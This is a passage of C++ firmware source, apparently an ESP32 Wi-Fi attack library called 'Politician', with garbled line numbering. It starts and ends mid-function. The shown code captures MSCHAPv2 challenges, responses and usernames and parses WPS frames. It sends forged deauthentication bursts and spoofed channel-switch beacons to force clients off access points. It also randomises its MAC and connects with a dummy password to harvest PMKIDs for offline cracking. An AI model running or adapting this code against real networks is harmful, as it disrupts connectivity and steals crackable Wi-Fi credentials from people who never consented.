"[WPS] M1 from %02X:%02X:%02X:%02X:%02X:%02X dev='%s' mfr='%s' model='%s'\n",
1951 sta[0], sta[1], sta[2], sta[3], sta[4], sta[5],
1952 rec.device_name, rec.manufacturer, rec.model_name);
1954 if (_wpsCb) _wpsCb(rec);
1957void Politician::_sendBtmRequest(
const uint8_t *bssid,
const uint8_t *sta) {
1962 frame[p++] = 0xD0; frame[p++] = 0x00;
1963 frame[p++] = 0x00; frame[p++] = 0x00;
1964 memcpy(frame + p, sta, 6); p += 6;
1965 memcpy(frame + p, bssid, 6); p += 6;
1966 memcpy(frame + p, bssid, 6); p += 6;
1967 frame[p++] = 0x00; frame[p++] = 0x00;
1973 frame[p++] = (uint8_t)(timer & 0xFF);
1974 frame[p++] = (uint8_t)(timer >> 8);
1976 esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false);
1979#ifndef POLITICIAN_NO_MSCHAPV2
1980void Politician::_parseEapMsChap(
const uint8_t *bssid,
const uint8_t *sta,
1981 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1995 if (len < 13)
return;
1996 if (eapol[8] != 0x1A)
return;
1998 uint8_t eap_code = eapol[4];
1999 uint8_t eap_id = eapol[5];
2000 uint8_t mschap_op = eapol[9];
2001 uint8_t ms_id = eapol[10];
2003 if (mschap_op == 0x01 && eap_code == 0x01) {
2005 if (len < 30)
return;
2006 if (eapol[13] != 16)
return;
2010 for (
int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
2011 if (!_msChapSessions[i].active) { slot = i;
break; }
2013 if (memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 && _msChapSessions[i].ms_id == ms_id) {
2017 if (slot == -1) slot = 0;
2019 _msChapSessions[slot].active =
true;
2020 memcpy(_msChapSessions[slot].bssid, bssid, 6);
2021 _msChapSessions[slot].ms_id = ms_id;
2022 memcpy(_msChapSessions[slot].challenge, eapol + 14, 16);
2023 _log(
"[MSCHAPv2] Challenge from %02X:%02X:%02X:%02X:%02X:%02X ms_id=%d\n",
2024 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ms_id);
2028 if (mschap_op == 0x02 && eap_code == 0x02) {
2030 if (len < 64)
return;
2031 if (eapol[13] != 49)
return;
2034 for (
int i = 0; i < MAX_MSCHAP_SESSIONS; i++) {
2035 if (_msChapSessions[i].active &&
2036 memcmp(_msChapSessions[i].bssid, bssid, 6) == 0 &&
2037 _msChapSessions[i].ms_id == ms_id) {
2041 if (slot == -1)
return;
2043 MsChapRecord rec; memset(&rec, 0,
sizeof(rec));
2044 memcpy(rec.bssid, bssid, 6);
2045 memcpy(rec.sta, sta, 6);
2046 rec.channel = _rxChannel;
2048 memcpy(rec.server_challenge, _msChapSessions[slot].challenge, 16);
2049 memcpy(rec.peer_challenge, eapol + 14, 16);
2050 memcpy(rec.nt_response, eapol + 38, 24);
2053 uint16_t uname_off = 63;
2054 uint16_t uname_len = (len > uname_off) ? (len - uname_off) : 0;
2055 if (uname_len > 64) uname_len = 64;
2056 memcpy(rec.username, eapol + uname_off, uname_len);
2057 rec.username[uname_len] =
'\0';
2059 _msChapSessions[slot].active =
false;
2061 _log(
"[MSCHAPv2] Response user='%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
2062 rec.username, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
2064 if (_msChapCb) _msChapCb(rec);
2069void Politician::_parseSsid(
const uint8_t *ie, uint16_t ie_len,
char *out, uint8_t &out_len) {
2070 out[0] =
'\0'; out_len = 0; uint16_t pos = 0;
2071 while (pos + 2 <= ie_len) {
2072 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2073 if (pos + 2 + len > ie_len)
break;
2074 if (tag == 0 && len > 0 && len <= 32) {
2075 memcpy(out, ie + pos + 2, len); out[len] =
'\0'; out_len = len;
return;
2081uint8_t Politician::_classifyEnc(
const uint8_t *ie, uint16_t ie_len) {
2082 bool has_rsn =
false, has_wpa =
false, is_enterprise =
false, is_owe =
false;
2084 while (pos + 2 <= ie_len) {
2085 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2086 if (pos + 2 + len > ie_len)
break;
2093 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
2094 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len;
continue; }
2095 uint16_t akm_offset = pos + 10 + (pw_count * 4);
2097 if (akm_offset + 2 <= pos + 2 + len) {
2098 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
2099 if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len;
continue; }
2100 uint16_t list_offset = akm_offset + 2;
2102 for (
int i=0; i < akm_count; i++) {
2103 if (list_offset + 4 > pos + 2 + len)
break;
2104 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC) {
2105 uint8_t suite = ie[list_offset + 3];
2106 if (suite == 0x01) is_enterprise =
true;
2107 if (suite == 0x12) is_owe =
true;
2114 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa =
true;
2118 if (is_enterprise)
return ENC_ENT;
2123uint8_t Politician::_classifyPairwiseCipher(
const uint8_t *ie, uint16_t ie_len) {
2125 while (pos + 2 <= ie_len) {
2126 uint8_t tag = ie[pos];
2127 uint8_t len = ie[pos + 1];
2128 if (pos + 2 + len > ie_len)
break;
2129 if (tag == 48 && len >= 8) {
2130 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2131 if (pw_count > 0 && pos + 10 + 4 <= pos + 2 + len) {
2132 uint8_t suite_type = ie[pos + 13];
2142bool Politician::_detectWpa3Only(
const uint8_t *ie, uint16_t ie_len) {
2144 while (pos + 2 <= ie_len) {
2145 uint8_t tag = ie[pos];
2146 uint8_t len = ie[pos + 1];
2147 if (pos + 2 + len > ie_len)
break;
2149 if (tag == 48 && len >= 10) {
2150 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2151 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len;
continue; }
2152 uint16_t akm_offset = pos + 10 + (pw_count * 4);
2153 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len;
continue; }
2155 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
2156 if (akm_count > 20 || akm_offset + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len;
continue; }
2157 uint16_t list_off = akm_offset + 2;
2159 bool has_sae =
false;
2160 bool has_wpa2psk =
false;
2161 for (uint16_t i = 0; i < akm_count; i++) {
2162 if (list_off + 4 > pos + 2 + len)
break;
2163 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
2164 if (ie[list_off+3] == 0x02) has_wpa2psk =
true;
2165 if (ie[list_off+3] == 0x08) has_sae =
true;
2172 if (list_off + 2 <= pos + 2 + len) {
2173 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
2174 mfpr = (caps & 0x0040) != 0;
2177 if ((has_sae && !has_wpa2psk) || mfpr)
return true;
2184bool Politician::_detectFt(
const uint8_t *ie, uint16_t ie_len) {
2186 while (pos + 2 <= ie_len) {
2187 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2188 if (pos + 2 + len > ie_len)
break;
2189 if (tag == 48 && len >= 10) {
2190 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2191 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len;
continue; }
2192 uint16_t akm_off = pos + 10 + (pw_count * 4);
2193 if (akm_off + 2 <= pos + 2 + len) {
2194 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
2195 if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len;
continue; }
2196 uint16_t list_off = akm_off + 2;
2197 for (uint16_t i = 0; i < akm_count; i++) {
2198 if (list_off + 4 > pos + 2 + len)
break;
2200 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
2201 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04))
return true;
2211void Politician::_detectPmfFlags(
const uint8_t *ie, uint16_t ie_len,
bool &pmf_capable,
bool &pmf_required) {
2212 pmf_capable =
false; pmf_required =
false;
2214 while (pos + 2 <= ie_len) {
2215 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
2216 if (pos + 2 + len > ie_len)
break;
2217 if (tag == 48 && len >= 10) {
2218 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
2219 if (pw_count > 20 || 10 + pw_count * 4 > len) { pos += 2 + len;
continue; }
2220 uint16_t akm_off = pos + 10 + (pw_count * 4);
2221 if (akm_off + 2 <= pos + 2 + len) {
2222 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
2223 if (akm_count > 20 || akm_off + 2 + akm_count * 4 > pos + 2 + len) { pos += 2 + len;
continue; }
2224 uint16_t caps_off = akm_off + 2 + akm_count * 4;
2225 if (caps_off + 2 <= pos + 2 + len) {
2226 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
2227 pmf_capable = (caps & 0x0080) != 0;
2228 pmf_required = (caps & 0x0040) != 0;
2236Politician::Session* Politician::_findSession(
const uint8_t *bssid,
const uint8_t *sta) {
2237 for (
int i = 0; i < MAX_SESSIONS; i++) {
2238 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0)
return &_sessions[i];
2243Politician::Session* Politician::_createSession(
const uint8_t *bssid,
const uint8_t *sta) {
2244 for (
int i = 0; i < MAX_SESSIONS; i++) {
2245 if (!_sessions[i].flags.active) {
2246 memset(&_sessions[i], 0,
sizeof(Session));
2247 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
2248 _sessions[i].flags.active =
true; _sessions[i].created_ms =
millis();
2249 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
2250 return &_sessions[i];
2254 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
2255 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
2256 for (
int i = 0; i < MAX_SESSIONS; i++) {
2257 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
2258 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
2259 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
2262 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
2263 _log(
"[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
2264 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
2265 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
2266 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
2267 memset(&_sessions[evict], 0,
sizeof(Session));
2268 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
2269 _sessions[evict].flags.active =
true; _sessions[evict].created_ms =
millis();
2270 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
2271 return &_sessions[evict];
2274Politician::ApCacheEntry* Politician::_cacheAp(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len,
2275 uint8_t enc, uint8_t channel, int8_t rssi,
2276 bool is_wpa3_only,
bool wps,
2277 bool pmf_capable,
bool pmf_required,
2278 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
2279 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
2280 if (ssid_len > 32) ssid_len = 32;
2282 if (ssid_len > 0 && !(_cfg.
enc_filter_mask & (1 << enc)))
return nullptr;
2285 if (ssid_len > 0 && _cfg.
ssid_filter[0] !=
'\0') {
2287 if (ssid_len != strlen(_cfg.
ssid_filter) || memcmp(ssid, _cfg.
ssid_filter, ssid_len) != 0)
return nullptr;
2289 if (strstr(ssid, _cfg.
ssid_filter) ==
nullptr)
return nullptr;
2294 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2295 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2296 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
2297 _apCache[i].enc = enc; _apCache[i].channel = channel;
2298 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
2299 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
2300 _apCache[i].flags.wps_enabled = wps;
2301 _apCache[i].flags.pmf_capable = pmf_capable;
2302 _apCache[i].flags.pmf_required = pmf_required;
2303 _apCache[i].flags.ft_capable = ft_capable;
2304 _apCache[i].last_seen_ms = now;
2305 _apCache[i].sta_count = sta_count;
2306 _apCache[i].chan_util = chan_util;
2307 _apCache[i].venue_group = venue_group;
2308 _apCache[i].venue_type = venue_type;
2309 _apCache[i].network_type = network_type;
2310 if (sta_count > 0) _apCache[i].flags.has_active_clients =
true;
2311 if (ssid_len > 0) _apCache[i].flags.is_hidden =
false;
2312 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
2313 return &_apCache[i];
2318 uint32_t oldest_ms = UINT32_MAX;
2319 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2320 if (!_apCache[i].flags.active) {
2324 if (_apCache[i].last_seen_ms < oldest_ms) {
2325 oldest_ms = _apCache[i].last_seen_ms;
2329 if (slot == -1) slot = 0;
2331 _apCache[slot].flags.active =
true; _apCache[slot].last_probe_ms = 0;
2332 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
2333 _apCache[slot].last_hidden_probe_ms = 0;
2334 _apCache[slot].known_sta_count = 0;
2335 _apCache[slot].beacon_count = 1;
2336 _apCache[slot].total_attempts = 0;
2337 _apCache[slot].chan_width = 0;
2338 _apCache[slot].probe_word_idx = 0;
2339 _apCache[slot].last_attack_ms = 0;
2340 _apCache[slot].capture_count = 0;
2342 _apCache[slot].flags.is_vht =
false;
2343 _apCache[slot].flags.is_hidden = (ssid_len == 0);
2344 _apCache[slot].flags.is_he =
false;
2345 _apCache[slot].flags.wps_enabled = wps;
2346 _apCache[slot].flags.pmf_capable = pmf_capable;
2347 _apCache[slot].flags.pmf_required = pmf_required;
2348 _apCache[slot].flags.ft_capable = ft_capable;
2349 _apCache[slot].sta_count = sta_count;
2350 _apCache[slot].chan_util = chan_util;
2351 _apCache[slot].venue_group = venue_group;
2352 _apCache[slot].venue_type = venue_type;
2353 _apCache[slot].network_type = network_type;
2354 _apCache[slot].flags.has_active_clients = (sta_count > 0);
2355 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
2356 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
2357 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
2360 if (_rogueApCb && ssid_len > 0) {
2361 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2362 if (i == slot || !_apCache[i].flags.active)
continue;
2363 if (_apCache[i].channel != channel)
continue;
2364 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
2365 if (memcmp(_apCache[i].bssid, bssid, 6) == 0)
continue;
2367 memset(&rec, 0,
sizeof(rec));
2368 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
2369 memcpy(rec.rogue_bssid, bssid, 6);
2370 memcpy(rec.ssid, ssid, ssid_len + 1);
2371 rec.ssid_len = ssid_len;
2372 rec.channel = channel;
2378 return &_apCache[slot];
2381bool Politician::_lookupSsid(
const uint8_t *bssid,
char *out_ssid, uint8_t &out_len)
const {
2382 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2383 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2384 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len;
return true;
2387 out_ssid[0] =
'\0'; out_len = 0;
return false;
2391 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
2393 for (
int i = 0; i < MAX_AP_CACHE; i++)
if (_apCache[i].flags.active) n++;
2394 xSemaphoreGiveRecursive(_lock);
2399 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
2402 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2403 if (!_apCache[i].flags.active)
continue;
2405 memcpy(out.
bssid, _apCache[i].bssid, 6);
2406 memcpy(out.
ssid, _apCache[i].ssid, 33);
2407 out.
ssid_len = _apCache[i].ssid_len;
2408 out.
enc = _apCache[i].enc;
2409 out.
channel = _apCache[i].channel;
2410 out.
rssi = _apCache[i].rssi;
2415 out.
captured = _isCaptured(_apCache[i].bssid);
2416 out.
ft_capable = _apCache[i].flags.ft_capable;
2419 memcpy(out.
country, _apCache[i].country, 3);
2422 out.
is_hidden = _apCache[i].flags.is_hidden;
2428 out.
is_vht = _apCache[i].flags.is_vht;
2429 out.
is_he = _apCache[i].flags.is_he;
2438 xSemaphoreGiveRecursive(_lock);
2443 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
2445 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2446 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
2447 memcpy(out.
bssid, _apCache[i].bssid, 6);
2448 memcpy(out.
ssid, _apCache[i].ssid, 33);
2449 out.
ssid_len = _apCache[i].ssid_len;
2450 out.
enc = _apCache[i].enc;
2451 out.
channel = _apCache[i].channel;
2452 out.
rssi = _apCache[i].rssi;
2457 out.
captured = _isCaptured(_apCache[i].bssid);
2458 out.
ft_capable = _apCache[i].flags.ft_capable;
2461 memcpy(out.
country, _apCache[i].country, 3);
2464 out.
is_hidden = _apCache[i].flags.is_hidden;
2470 out.
is_vht = _apCache[i].flags.is_vht;
2471 out.
is_he = _apCache[i].flags.is_he;
2478 xSemaphoreGiveRecursive(_lock);
2483 if (!cb || !_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return;
2484 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2485 if (!_apCache[i].flags.active)
continue;
2487 memset(&out, 0,
sizeof(out));
2488 memcpy(out.
bssid, _apCache[i].bssid, 6);
2489 memcpy(out.
ssid, _apCache[i].ssid, 33);
2490 out.
ssid_len = _apCache[i].ssid_len;
2491 out.
enc = _apCache[i].enc;
2492 out.
channel = _apCache[i].channel;
2493 out.
rssi = _apCache[i].rssi;
2498 out.
captured = _isCaptured(_apCache[i].bssid);
2499 out.
ft_capable = _apCache[i].flags.ft_capable;
2502 memcpy(out.
country, _apCache[i].country, 3);
2505 out.
is_hidden = _apCache[i].flags.is_hidden;
2511 out.
is_vht = _apCache[i].flags.is_vht;
2512 out.
is_he = _apCache[i].flags.is_he;
2519 xSemaphoreGiveRecursive(_lock);
2522#ifndef POLITICIAN_NO_STD_FUNCTION
2525 (*
static_cast<std::function<
void(
const ApRecord &)
>*>(ctx))(ap);
2531 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
2533 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2534 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2535 count = _apCache[i].known_sta_count;
break;
2538 xSemaphoreGiveRecursive(_lock);
2543 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
2545 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2546 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
2547 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
2548 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
2553 xSemaphoreGiveRecursive(_lock);
2557bool Politician::_lookupEnc(
const uint8_t *bssid, uint8_t &out_enc)
const {
2558 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2559 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2560 out_enc = _apCache[i].enc;
return true;
2563 out_enc = 0;
return false;
2566bool Politician::_lookupCipher(
const uint8_t *bssid, uint8_t &out_cipher)
const {
2567 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2568 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2569 out_cipher = _apCache[i].pairwise_cipher;
2577void Politician::_incCaptureCount(
const uint8_t *bssid) {
2578 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2579 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2580 if (_apCache[i].capture_count < 255) _apCache[i].capture_count++;
2586bool Politician::_isCaptured(
const uint8_t *bssid)
const {
2587 for (
int i = 0; i < _ignoreCount; i++)
if (memcmp(_ignoreList[i], bssid, 6) == 0)
return true;
2589 int left = 0, right = _capturedCount - 1;
2590 while (left <= right) {
2591 int mid = left + (right - left) / 2;
2592 int cmp = memcmp(_captured[mid], bssid, 6);
2593 if (cmp == 0)
return true;
2594 if (cmp < 0) left = mid + 1;
2595 else right = mid - 1;
2600void Politician::_sendDeauthBurst(uint8_t count,
const uint8_t *sta) {
2601 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
2602 const uint8_t *da = (_cfg.
unicast_deauth && sta !=
nullptr) ? sta : BROADCAST;
2604 uint8_t deauth[26] = {
2605 0xC0, 0x00, 0x00, 0x00,
2606 da[0], da[1], da[2], da[3], da[4], da[5],
2607 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
2608 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
2613 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
2614 uint8_t num_reasons =
sizeof(REASONS) /
sizeof(REASONS[0]);
2616 for (
int i = 0; i < count; i++) {
2617 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0;
2618 deauth[22] = (i << 4) & 0xFF;
2620 deauth[24] = REASONS[i % num_reasons];
2622 esp_wifi_80211_tx(WIFI_IF_STA, deauth,
sizeof(deauth),
false);
2625 _log(
"[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.
deauth_reason_cycling ?
"Fuzzing" :
"Static", _fishChannel, (da[0] == 0xFF) ?
"broadcast" :
"unicast");
2628void Politician::_markCapturedSsidGroup(
const char *ssid, uint8_t ssid_len) {
2629 if (ssid_len == 0)
return;
2630 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2631 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
2632 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
2636void Politician::_markCaptured(
const uint8_t *bssid) {
2637 if (_isCaptured(bssid))
return;
2638 if (_capturedCount >= MAX_CAPTURED)
return;
2641 while (pos < _capturedCount && memcmp(_captured[pos], bssid, 6) < 0) pos++;
2643 if (pos < _capturedCount) {
2644 memmove(&_captured[pos + 1], &_captured[pos], (_capturedCount - pos) * 6);
2646 memcpy(_captured[pos], bssid, 6);
2649 _log(
"[Cap] Marked %02X:%02X:%02X:%02X:%02X:%02X\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
2652void Politician::_expireSessions(uint32_t timeoutMs) {
2654 for (
int i = 0; i < MAX_SESSIONS; i++)
if (_sessions[i].flags.active && (now - _sessions[i].created_ms) > timeoutMs) _sessions[i].flags.active =
false;
2658#ifndef POLITICIAN_NO_DB
2660 while (left <= right) {
2661 int mid = left + (right - left) / 2;
2664 if (cmp < 0) left = mid + 1;
2665 else right = mid - 1;
2671void Politician::_randomizeMac() {
2672 uint8_t mac[6]; uint32_t r1 = esp_random(), r2 = esp_random();
2673 mac[0] = (uint8_t)((r1 & 0xFE) | 0x02); mac[1] = (uint8_t)(r1 >> 8); mac[2] = (uint8_t)(r1 >> 16);
2674 mac[3] = (uint8_t)(r2); mac[4] = (uint8_t)(r2 >> 8); mac[5] = (uint8_t)(r2 >> 16);
2675 esp_wifi_set_mac(WIFI_IF_STA, mac); memcpy(_ownStaMac, mac, 6);
2676 _log(
"[Fish] MAC → %02X:%02X:%02X:%02X:%02X:%02X\n", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
2679void Politician::_startFishing(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len, uint8_t channel) {
2680 if (_fishState != FISH_IDLE)
return;
2681 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2682 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0 && _apCache[i].flags.ft_capable)
2683 _log(
"[Fish] Note: AP advertises FT AKM — PMKID may be FT-derived and require FT-aware cracking\n");
2685 _randomizeMac(); esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); _channel = channel;
2686 wifi_config_t sta_cfg = {}; memcpy(sta_cfg.sta.ssid, ssid, ssid_len);
2687 memcpy(sta_cfg.sta.password,
"WiFighter00", 11); sta_cfg.sta.bssid_set =
true; memcpy(sta_cfg.sta.bssid, bssid, 6);
2688 esp_wifi_set_config(WIFI_IF_STA, &sta_cfg); esp_wifi_connect();
2689 memcpy(_fishBssid, bssid, 6); memcpy(_fishSsid, ssid, ssid_len); _fishSsid[ssid_len] =
'\0';
2690 _fishSsidLen = ssid_len; _fishChannel = channel; _fishStartMs =
millis();
2691 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2692 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
2693 _apCache[i].last_attack_ms = _fishStartMs;
2697 _fishState = FISH_CONNECTING; _fishRetry = 0; _fishAuthLogged =
false; _fishAssocLogged =
false;
2699 _log(
"[Fish] → %02X:%02X:%02X:%02X:%02X:%02X SSID=%.*s\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], ssid_len, ssid);
2702void Politician::_sendCsaBurst() {
2703 uint8_t frame[100];
int p = 0;
2704 frame[p++] = 0x80; frame[p++] = 0x00; frame[p++] = 0x00; frame[p++] = 0x00;
2705 for (
int i = 0; i < 6; i++) frame[p++] = 0xFF; memcpy(frame + p, _fishBssid, 6); p += 6; memcpy(frame + p, _fishBssid, 6); p += 6;
2706 frame[p++] = 0x00; frame[p++] = 0x00; memset(frame + p, 0, 8); p += 8;
2707 frame[p++] = 0x64; frame[p++] = 0x00; frame[p++] = 0x31; frame[p++] = 0x04;
2708 frame[p++] = 0x00; frame[p++] = _fishSsidLen; memcpy(frame + p, _fishSsid, _fishSsidLen); p += _fishSsidLen;
2709 frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = _fishChannel;
2710 frame[p++] = 0x25; frame[p++] = 0x03; frame[p++] = 0x01; frame[p++] = 0x0E; frame[p++] = 0x01;
2711 for (
int i = 0; i < _cfg.
csa_beacon_count; i++) { esp_wifi_80211_tx(WIFI_IF_AP, frame, p,
false);
delay(15); }
2712 _log(
"[CSA] Sent burst on ch%d\n", _fishChannel);
2715void Politician::_processFishing() {
2716 if (_fishState == FISH_IDLE)
return;
2717 if (_fishState == FISH_CSA_WAIT) {
2718 if (_isCaptured(_fishBssid)) { _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
"[CSA] Captured!\n");
if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
return; }
2722 const uint8_t *known_sta2 = (_fishSta[0] || _fishSta[1] || _fishSta[2]) ? _fishSta : nullptr;
2724 _log(
"[Attack] CSA fallback triggered — sending Deauth burst\n");
2727 uint8_t effMask = _getAttackMask(_fishBssid);
2728 if (!_csaSecondBurstSent && (
millis() - _fishStartMs > 2000)) {
2729 _csaSecondBurstSent =
true;
2731 static const uint8_t zero_mac[6] = {};
2733 const uint8_t *known_sta2 = (memcmp(_fishSta, zero_mac, 6) != 0) ? _fishSta : nullptr;
2736 _log(
"[CSA] Burst 2\n");
2738 if (
millis() >= _probeLockEndMs) {
2739 _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis();
2741 _log(
"[CSA] Wait expired\n");
2742 if (_attackResultCb) {
2743 AttackResultRecord r; memset(&r, 0,
sizeof(r));
2744 memcpy(r.bssid, _fishBssid, 6); memcpy(r.ssid, _fishSsid, _fishSsidLen + 1); r.ssid_len = _fishSsidLen;
2748 for (
int i = 0; i < MAX_AP_CACHE; i++) {
2749 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, _fishBssid, 6) == 0) {
2750 _apCache[i].last_attack_ms =
millis();
2752 _markCaptured(_fishBssid);
2753 _log(
"[Attack] Max attempts reached — permanently skipping %02X:%02X:%02X:%02X:%02X:%02X\n",
2754 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5]);
2760 if (_autoTarget) {
clearTarget(); _autoTargetActive =
false; }
2764 if (_isCaptured(_fishBssid)) { esp_wifi_disconnect(); _fishState = FISH_IDLE; _probeLocked =
false; _lastHopMs =
millis(); _log(
